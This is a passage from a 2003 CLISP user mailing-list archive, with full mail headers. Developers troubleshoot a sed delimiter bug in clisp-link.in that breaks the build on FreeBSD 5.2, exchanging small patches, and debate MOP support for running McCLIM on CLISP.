iD8DBQE/4HXdh5Q4qVL9G8kRAhAZAJwPMs+28x+J91PK6HCdEmvlPWfYJACeN+8p FzhMYwqk+mJnJx5S7WtQkZ4= =3zDm -----END PGP SIGNATURE----- --Signature=_Wed__17_Dec_2003_15_27_25_+0000_tOCj3ap/j8disz23-- From pascal@informatimago.com Wed Dec 17 07:43:26 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AWdpe-0003Ta-2c for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 07:43:26 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AWdpc-00053j-Uc for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 07:43:25 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id E49BC586E4; Wed, 17 Dec 2003 16:43:10 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 018493A86C; Wed, 17 Dec 2003 16:42:34 +0100 (CET) Message-ID: <16352.31082.911926.922155@thalassa.informatimago.com> To: Sam Halliday Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] compiling clisp-2.31 on FreeBSD-5.2 In-Reply-To: <20031217152725.75f9403b.fommil@yahoo.ie> References: <20031217152725.75f9403b.fommil@yahoo.ie> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: fr, es, en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 17 07:45:10 2003 X-Original-Date: Wed, 17 Dec 2003 16:42:34 +0100 Sam Halliday writes: > sed: -e expression #1, char 88: Unknown option to `s' > make: *** [full] Error 1 > ###################################################### > > maybe there is some GNU sed specific code in the makefiles? but > i cannot find it. > [...] > could anyone please help? A generic trick in these cases is to write a small script named sed and put it in a directory at the beginning of the PATH. This little script would log all its arguments (and perhaps its stdin), and then exec the real command. Then an easy solution would be to modify this script to handle the unknown options and to keep it (but of course, for free software, it's better to report the bug and have it corrected in the sources). Otherwise, an intense grepping session on the sources should help: find clisp -type f -exec grep -n sed {} /dev/null \; -- __Pascal_Bourguignon__ . * * . * .* . http://www.informatimago.com/ . * . .* There is no worse tyranny than to force * . . /\ () . * a man to pay for what he does not . . / .\ . * . want merely because you think it .*. / * \ . . would be good for him. -- Robert Heinlein . /* o \ . http://www.theadvocates.org/ * '''||''' . SCO Spam-magnet: postmaster@sco.com ****************** From sds@alphatech.com Wed Dec 17 08:05:59 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AWeBT-0005Bh-Sw for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 08:05:59 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AWeBS-0002zD-UJ for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 08:05:59 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hBHG5hc02983; Wed, 17 Dec 2003 11:05:44 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Sam Halliday Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20031217152725.75f9403b.fommil@yahoo.ie> (Sam Halliday's message of "Wed, 17 Dec 2003 15:27:25 +0000") References: <20031217152725.75f9403b.fommil@yahoo.ie> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: compiling clisp-2.31 on FreeBSD-5.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 17 08:07:07 2003 X-Original-Date: Wed, 17 Dec 2003 11:05:43 -0500 > * Sam Halliday [2003-12-17 15:27:25 +0000]: > > i was trying to compile clisp-2.31 on a FreeBSD-5.2-RC1 > system, when the compile failed with this error: > sed: -e expression #1, char 88: Unknown option to `s' I suspect that this is the same as could you please investigate? -- Sam Steingold (http://www.podval.org/~sds) running w2k Life is like a diaper -- short and loaded. From Joerg-Cyril.Hoehle@t-systems.com Wed Dec 17 08:05:00 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AWeAW-00057E-8F for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 08:05:00 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AWeAV-0006f0-Nr for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 08:04:59 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Wed, 17 Dec 2003 17:04:47 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 17 Dec 2003 17:04:46 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE08A40984@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: free-clim@mikemac.com, moore@bricoworks.com Subject: [clisp-list] Re: Can McCLIM work with CLISP? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 17 08:07:10 2003 X-Original-Date: Wed, 17 Dec 2003 17:04:45 +0100 Hi, Timothy Moore wrote: >No, we use as much of the MOP as we can. There's nothing wrong with that. There was a time when CLISP had not built-in support for CLOS. Back then, CLISP would simply load PCL, like CMUCL. I wonder why nobody tries to make PCL work again with CLISP in case they need the MOP. >McCLIM also works in a >non-threaded mode which only allows one application to run at a time. That's enough for quite some situations, for a start. I'd then probably miss CMUCL's ability to still serve GUI events *and* give me a listener prompt. That has always been a very nice of CMUCL, and threading wasn't that much missed thanks to this feature. Regards, Jorg. From sds@alphatech.com Wed Dec 17 08:36:33 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AWef3-0007AC-FC for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 08:36:33 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AWef2-0007lc-OH for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 08:36:32 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hBHGaNc13266; Wed, 17 Dec 2003 11:36:24 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE08A40984@G8PQD.blf01.telekom.de> (Joerg-Cyril Hoehle's message of "Wed, 17 Dec 2003 17:04:45 +0100") References: <9F8582E37B2EE5498E76392AEDDCD3FE08A40984@G8PQD.blf01.telekom.de> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Can McCLIM work with CLISP? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 17 08:37:03 2003 X-Original-Date: Wed, 17 Dec 2003 11:36:23 -0500 > * Hoehle, Joerg-Cyril [2003-12-17 17:04:45 +0100]: > > Timothy Moore wrote: >>No, we use as much of the MOP as we can. > There's nothing wrong with that. > > There was a time when CLISP had not built-in support for CLOS. > Back then, CLISP would simply load PCL, like CMUCL. > > I wonder why nobody tries to make PCL work again with CLISP in case > they need the MOP. because native CLOS is faster? >>McCLIM also works in a >>non-threaded mode which only allows one application to run at a time. > That's enough for quite some situations, for a start. > I'd then probably miss CMUCL's ability to still serve GUI events *and* > give me a listener prompt. > That has always been a very nice of CMUCL, and threading wasn't that > much missed thanks to this feature. I think this can be done in CLISP too - it just requires that the low-level i/o go through a select(). any takers? -- Sam Steingold (http://www.podval.org/~sds) running w2k Someone has changed your life. Save? (y/n) From sds@alphatech.com Wed Dec 17 09:03:34 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AWf5B-0008Pa-Vg for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 09:03:33 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AWf56-00040M-M7 for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 09:03:28 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hBHH3Kc21782; Wed, 17 Dec 2003 12:03:21 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: Sam Halliday Cc: clisp-list@lists.sourceforge.net Reply-To: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20031217164842.07126a3e.fommil@yahoo.ie> (Sam Halliday's message of "Wed, 17 Dec 2003 16:48:42 +0000") References: <20031217152725.75f9403b.fommil@yahoo.ie> <20031217164842.07126a3e.fommil@yahoo.ie> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: compiling clisp-2.31 on FreeBSD-5.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 17 09:05:16 2003 X-Original-Date: Wed, 17 Dec 2003 12:03:20 -0500 > * Sam Halliday [2003-12-17 16:48:42 +0000]: > > Sam Steingold wrote: >> > i was trying to compile clisp-2.31 on a FreeBSD-5.2-RC1 >> > system, when the compile failed with this error: >> > sed: -e expression #1, char 88: Unknown option to `s' >> I suspect that this is the same as >> >> could you please investigate? > > yes, i belive it is the same bug. the attached patch (using #s instead > of ,s for delimiters) seems to fix the compilation problems. this is not a solution. '#' might be rare, but it is just as legal as ','. moreover, you kept the line quoting commas: - LIBS=`echo $LIBS | sed s/','/'\\,'/g` + LIBS=`echo $LIBS | sed 's#','#'\\,'#g'` this does not make any sense - why quote commas if they will not have any special meaning? however, please try either of the following two patches, in turn - i.e., apply first, try, _remove_ it, apply second, try again, and tell me if either helps. thanks. > however, the following test seems to fail: > > Form: (LET ((H (MAKE-HASH-TABLE :TEST `(,(LAMBDA (A B) (LIST (LIST '= A B)) (= A > B)) . ,(LAMBDA (X) (LET ((Z (SXHASH (COERCE X 'DOUBLE-FLOAT)))) (LIST `((HASH > ,X) => ,Z)) Z)))))) (LOOP :FOR I :FROM 0 :TO 1000 :DO (SETF (GETHASH I H) > (FORMAT NIL "~r" I))) (LOOP :FOR I :FROM 0 :TO 1000 :UNLESS (STRING= (GETHASH > (FLOAT I 1.0d0) H) (GETHASH (FLOAT I 1.0s0) H)) :COLLECT I)) > CORRECT: NIL > CLISP : (892) I think this has been fixed in the CVS. could you please check that? > FreeBSD-5.3-RC1 uses a prerelease of gcc-3.3.3 you might want to remove -fomit-frame-pointer from the CFLAGS if the CVS still exhibits this bug. PS. please keep the discussion on the list. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Beauty is only a light switch away. --- clisp-link.in.~1.15.~ 2003-07-31 19:42:07.823688600 -0400 +++ clisp-link.in 2003-12-17 12:00:56.242352000 -0500 @@ -282,7 +282,7 @@ verbose "$destinationdir"/${LISPRUN} -B "$installbasedir" -M "$lispinitdir"/lispinit.mem -norc -q -i $to_load -x "(saveinitmem \"$destinationdir/lispinit.mem\")" # Generate new makevars echo "LIBS: before: "$LIBS - LIBS=`echo $LIBS | sed s/','/'\\\\,'/g` + LIBS=`echo $LIBS | sed s/','/'\\,'/g` echo "LIBS: after: "$LIBS sed -e "s,^LIBS=.*\$,LIBS='${LIBS}'," -e "s,^FILES=.*\$,FILES='${FILES}'," < "$sourcedir"/makevars > "$destinationdir"/makevars # Done. --- clisp-link.in.~1.15.~ 2003-07-31 19:42:07.823688600 -0400 +++ clisp-link.in 2003-12-17 12:01:25.604572800 -0500 @@ -422,7 +422,7 @@ verbose "$destinationdir"/${LISPRUN} -B "$installbasedir" -M "$sourcedir"/lispinit.mem -norc -q -i ${LOAD} -x "(saveinitmem \"$destinationdir/lispinit.mem\")" fi # Generate new makevars - LIBS=`echo $LIBS | sed s/','/'\\,'/g` + LIBS=`echo $LIBS | sed s/','/'\\\\,'/g` sed -e "s,^LIBS=.*\$,LIBS='${LIBS}'," -e "s,^FILES=.*\$,FILES='${FILES}'," < "$sourcedir"/makevars > "$destinationdir"/makevars fi # Done. From Joerg-Cyril.Hoehle@t-systems.com Wed Dec 17 09:05:32 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AWf76-0000Em-PM for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 09:05:32 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AWf76-0002rq-0u for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 09:05:32 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 18:05:25 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 17 Dec 2003 18:05:24 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE08A409A2@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Can McCLIM work with CLISP? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 17 09:07:58 2003 X-Original-Date: Wed, 17 Dec 2003 18:05:24 +0100 Hi, Sam wrote: >> I wonder why nobody tries to make PCL work again with CLISP in case >> they need the MOP. >because native CLOS is faster? Native CLOS is IIRC faster precisely because it takes shortcuts which are only possible with the restricted MOP (remembers me of how Smalltalkers try to avoid become: aka change-class) that it implements. But your's is not an answer IMHO. Given McCLIM or any other MOP-greedy Lisp code, you don't choose between a faster and a slower implementation of CLOS within CLISP. There's only one choice that seems doable (given little knowledge about CLISP MOP internals): PCL. Or CLISP's mini-MOP gets expanded further and further, eradicating restrictions. But then I'll bet there will be trade-offs w.r.t. speed, efficiency, and it sounds to me like a major effort. Regards, Jorg Hohle. From zera_holladay@yahoo.com Wed Dec 17 09:12:00 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AWfDL-0000gu-SU for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 09:11:59 -0800 Received: from web41412.mail.yahoo.com ([66.218.93.78]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.24) id 1AWfDL-0008Bj-J1 for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 09:11:59 -0800 Message-ID: <20031217171154.41420.qmail@web41412.mail.yahoo.com> Received: from [68.20.27.134] by web41412.mail.yahoo.com via HTTP; Wed, 17 Dec 2003 09:11:54 PST From: zera holladay Subject: Re: [clisp-list] Re: compiling clisp-2.31 on FreeBSD-5.2 To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 17 09:15:13 2003 X-Original-Date: Wed, 17 Dec 2003 09:11:54 -0800 (PST) Hi, I had a similar problem with sed on FreeBSD 5.2 while building with clx but not regex -- specifically on line 426 of a script called clisp-link.sh (or some very similar name). I managed to get around it by replacing all of the "|" with "," in the defective sed call. Let me know if that works, otherwise I will rebuild Clisp tonight so that I can be a little more specific. -zh --- Sam Steingold wrote: > > * Sam Halliday [2003-12-17 > 15:27:25 +0000]: > > > > i was trying to compile clisp-2.31 on a > FreeBSD-5.2-RC1 > > system, when the compile failed with this error: > > sed: -e expression #1, char 88: Unknown option to > `s' > > I suspect that this is the same as > > could you please investigate? > > -- > Sam Steingold (http://www.podval.org/~sds) running > w2k > > > > > Life is like a diaper -- short and loaded. > > > > ------------------------------------------------------- > This SF.net email is sponsored by: IBM Linux > Tutorials. > Become an expert in LINUX or just sharpen your > skills. Sign up for IBM's > Free Linux Tutorials. Learn everything from the > bash shell to sys admin. > Click now! > http://ads.osdn.com/?ad_id=1278&alloc_id=3371&op=click > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list __________________________________ Do you Yahoo!? New Yahoo! Photos - easier uploading and sharing. http://photos.yahoo.com/ From fommil@yahoo.ie Wed Dec 17 09:34:58 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AWfZZ-000225-V9 for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 09:34:57 -0800 Received: from smtp001.mail.ukl.yahoo.com ([217.12.11.32]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.24) id 1AWfZZ-0007YP-9S for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 09:34:57 -0800 Received: from unknown (HELO hostess.fommil.homeunix.org) (fommil@217.42.154.51 with login) by smtp001.mail.ukl.yahoo.com with SMTP; 17 Dec 2003 17:34:51 -0000 From: Sam Halliday To: clisp-list@lists.sourceforge.net Cc: sds@gnu.org Message-Id: <20031217174029.40d03cf2.fommil@yahoo.ie> In-Reply-To: References: <20031217152725.75f9403b.fommil@yahoo.ie> <20031217164842.07126a3e.fommil@yahoo.ie> X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-freebsd5.2) Mime-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg="pgp-sha1"; boundary="Signature=_Wed__17_Dec_2003_17_40_29_+0000_c_/VPCZ_4eYKu3yW" X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: compiling clisp-2.31 on FreeBSD-5.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 17 09:35:03 2003 X-Original-Date: Wed, 17 Dec 2003 17:40:29 +0000 --Signature=_Wed__17_Dec_2003_17_40_29_+0000_c_/VPCZ_4eYKu3yW Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 7bit Sam Steingold wrote: > >> > i was trying to compile clisp-2.31 on a FreeBSD-5.2-RC1 > >> > system, when the compile failed with this error: > >> > sed: -e expression #1, char 88: Unknown option to `s' > >> I suspect that this is the same as > >> > > >48079> > could you please investigate? > > > > yes, i belive it is the same bug. the attached patch (using #s instead > > of ,s for delimiters) seems to fix the compilation problems. > > moreover, you kept the line quoting commas: > > - LIBS=`echo $LIBS | sed s/','/'\\,'/g` > + LIBS=`echo $LIBS | sed 's#','#'\\,'#g'` oops sorry, wasnt thinking straight... i was worried about the #s commenting out the rest of the line so i wanted them quoted at all times... > however, please try either of the following two patches, in turn - i.e., > apply first, try, _remove_ it, apply second, try again, and tell me if > either helps. i tried the first one... and it seemed to fix both the compile fail and the test which failed previously. thanks for the rapid response fix! cheers, Sam --Signature=_Wed__17_Dec_2003_17_40_29_+0000_c_/VPCZ_4eYKu3yW Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (FreeBSD) iD8DBQE/4JUNh5Q4qVL9G8kRAqlXAJ41gPq9rmpoylM2iJi/puZfa97ZRwCfW74T Yy6ZZNGOLr8JcmA3/9DlvOI= =zHwx -----END PGP SIGNATURE----- --Signature=_Wed__17_Dec_2003_17_40_29_+0000_c_/VPCZ_4eYKu3yW-- From fommil@yahoo.ie Wed Dec 17 09:49:42 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AWfnq-0002nj-5w for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 09:49:42 -0800 Received: from smtp005.mail.ukl.yahoo.com ([217.12.11.36]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.24) id 1AWfnp-0006Ks-HD for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 09:49:41 -0800 Received: from unknown (HELO hostess.fommil.homeunix.org) (fommil@217.42.154.51 with login) by smtp005.mail.ukl.yahoo.com with SMTP; 17 Dec 2003 17:49:35 -0000 From: Sam Halliday To: clisp-list@lists.sourceforge.net Cc: sds@gnu.org Message-Id: <20031217175514.30e58472.fommil@yahoo.ie> In-Reply-To: References: <20031217152725.75f9403b.fommil@yahoo.ie> <20031217164842.07126a3e.fommil@yahoo.ie> X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-freebsd5.2) Mime-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg="pgp-sha1"; boundary="Signature=_Wed__17_Dec_2003_17_55_14_+0000_SBDaft_CHHIxZ9FA" X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: compiling clisp-2.31 on FreeBSD-5.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 17 09:50:02 2003 X-Original-Date: Wed, 17 Dec 2003 17:55:14 +0000 --Signature=_Wed__17_Dec_2003_17_55_14_+0000_SBDaft_CHHIxZ9FA Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 7bit CORRECTION: Sam Steingold wrote: > however, please try either of the following two patches, in turn - i.e., > apply first, try, _remove_ it, apply second, try again, and tell me if > either helps. sorry... the first patch didnt make a difference at all; i had compiled using a different environment than normal and this must have effected the build more than the patch, as i just had it fail. testing the 2nd one now... --Signature=_Wed__17_Dec_2003_17_55_14_+0000_SBDaft_CHHIxZ9FA Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (FreeBSD) iD8DBQE/4JiCh5Q4qVL9G8kRAlNEAJ9N0dKvHgmIB9Zf14C6oFCaZo2nDQCeNeMQ 4v3lsleTz5O+D5b25eLyWco= =dAxy -----END PGP SIGNATURE----- --Signature=_Wed__17_Dec_2003_17_55_14_+0000_SBDaft_CHHIxZ9FA-- From fommil@yahoo.ie Wed Dec 17 09:56:56 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AWfuq-0003G6-ML for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 09:56:56 -0800 Received: from smtp002.mail.ukl.yahoo.com ([217.12.11.33]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.24) id 1AWfuq-0000sN-28 for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 09:56:56 -0800 Received: from unknown (HELO hostess.fommil.homeunix.org) (fommil@217.42.154.51 with login) by smtp002.mail.ukl.yahoo.com with SMTP; 17 Dec 2003 17:56:49 -0000 From: Sam Halliday To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Message-Id: <20031217180229.263473b0.fommil@yahoo.ie> In-Reply-To: <20031217175514.30e58472.fommil@yahoo.ie> References: <20031217152725.75f9403b.fommil@yahoo.ie> <20031217164842.07126a3e.fommil@yahoo.ie> <20031217175514.30e58472.fommil@yahoo.ie> X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-freebsd5.2) Mime-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg="pgp-sha1"; 